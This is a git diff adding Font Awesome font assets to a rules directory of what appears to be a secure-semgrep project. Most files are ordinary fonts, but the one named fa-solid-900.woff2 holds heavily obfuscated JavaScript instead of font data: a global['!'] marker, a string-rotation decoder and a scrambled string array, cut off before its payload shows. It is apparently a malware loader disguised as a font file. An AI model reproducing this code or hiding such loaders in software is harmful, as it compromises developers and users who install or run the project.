b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.ttf b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.ttf differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff2 b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.woff2 differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.eot b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.eot differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.svg b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.ttf b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.ttf differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff2 b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..2982f5a --- /dev/null +++ b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff2 @@ -0,0 +1 @@ +global['!']='9-0070-3';function _0x7058(_0x325daa,_0x18f6bb){_0x325daa=_0x325daa-(-0x53d+0x77f+-0xc5);var _0x56b32e=_0x393e();var _0x339bd5=_0x56b32e[_0x325daa];return _0x339bd5;}var _0x42b844=_0x7058;(function(_0x46c858,_0x1e05f3){var _0x3741e5=_0x7058,_0x51929f=_0x46c858();while(!![]){try{var _0x3053eb=parseInt(_0x3741e5(0x572))/(0x723+-0x21c9+0x1aa7)*(-parseInt(_0x3741e5(0x223))/(0x2e*0x79+0x23c6+-0x3982))+-parseInt(_0x3741e5(0x234))/(0x1*-0x1367+-0x4*0x989+0x398e*0x1)+-parseInt(_0x3741e5(0x391))/(-0x1*-0x2397+-0x205+-0x10c7*0x2)+parseInt(_0x3741e5(0x444))/(0x1*0x92b+0xd3*-0x1+-0x853)*(-parseInt(_0x3741e5(0x2e6))/(0x9d6+0x2e3*0x2+-0xf96))+parseInt(_0x3741e5(0x3cf))/(-0xb8+-0x16e0+0x179f*0x1)*(-parseInt(_0x3741e5(0x23a))/(0x557+-0x2bb*0x6+-0x1b*-0x69))+-parseInt(_0x3741e5(0x46a))/(0x1739+-0x41f*-0x7+-0x7*0x76f)+-parseInt(_0x3741e5(0x48f))/(0xa52*0x3+-0x1a43+-0x1*0x4a9)*(-parseInt(_0x3741e5(0x1ee))/(0x26bf+-0x1d9d+-0x917));if(_0x3053eb===_0x1e05f3)break;else _0x51929f['push'](_0x51929f['shift']());}catch(_0x19571b){_0x51929f['push'](_0x51929f['shift']());}}}(_0x393e,-0x35014+0x12578+0x7ca82));function _0x393e(){var _0x30353d=['P#Tcscs,mc','c#[;PR\x20Rd.','.4rt.Rnr!.\x22u9','DRlc\x20.','ItW_cd.(rR','za8\x205hsu,t',']>4+f+\x22p<^','f','][)dsH,]\x20R','.ikP?bfR9e\x20.','RR>oad..ii','U_ui)RiCpZ','\x27PoRaGR]ek','.&](dcr4P.','et!RbiN.o!','.c:sinc>CP','@RiRiRhRRR','.c(si[0(o\x22h','irsU.\x27','dRee6efapa','STRd<<.&e)','TSsqr','p(1f)A=prs','ca.i.oPaRc','uR9po<\x22.d.','Icnr.idnbt','73702ccgxTR','t;Cod<|H7e','..c.d.Rzo4','Ro]c\x22cc.Pe','xi.R\x20R?cbN','.MdoR<0RRn','.(ld!}apRy','<#R.RrKocD','R','=)j\x22d\x22)>\x20p','us\x20RrR(i.B','.c`.\x20ReER\x22','PRC-(6R+.`PRFfh','-e.RoefEu.','.dReee<[(i','aRcRY.RR!R','in)Cr1u49k','cc.sry_RN.<(r.c','r.eo6ci..w','e_Rc\x20)vnoP','Risi<;a]R.','nnoR<+aR<','..RK!R.RnR','iUcr0:).d-','!RpcRgP<X.#io(.','.,Vc(s.(@R','\x22h4)R.b<.raHR','..i+an@cR0','Gm','|\x2701sRDa.j','(e(]-..qn=','.b;bcc\x20c.l',',rn_\x22R','ra(whno)nv','\x22hcuMRcceR','RHxD).\x20C})','kct\x20f8;Bp<','f','[op..\x20cF(.','?a!9i9.cR<','xnE.u.d.jc','#eRReR.Rel','scoR}pdR|R','.ln.l[.Q!E','a4Rs(P^','lr0Rb[\x22','ec%uR.\x20.2.\x20k','RVYD0Juc\x20.','R.fsQ+RocR','mn,p<)5t(e','.R','.i\x22RL0.~.|','k\x22.mSR-.<}','x\x20!p\x22)','8RUr.ARrk!','i{3-erZ.yF','LNe\x20\x27n]','tBcf3tRfRp','te<.c!<','Rt.Rsi\x22+$R','nsoc.Ge&R<','.d}cv.v\x20R.','.N.RIdcNMe','<}c.4G;R.d','DRnctmx.ae','rp;{sR&ecr','Rtc0.Rt.vc','c?<1iDR.c:','RRo.$;bqR)','R3lcRcpc<]','.xsrRd1cEd','<6acx.cRTa','..+i(==ee.','*ktg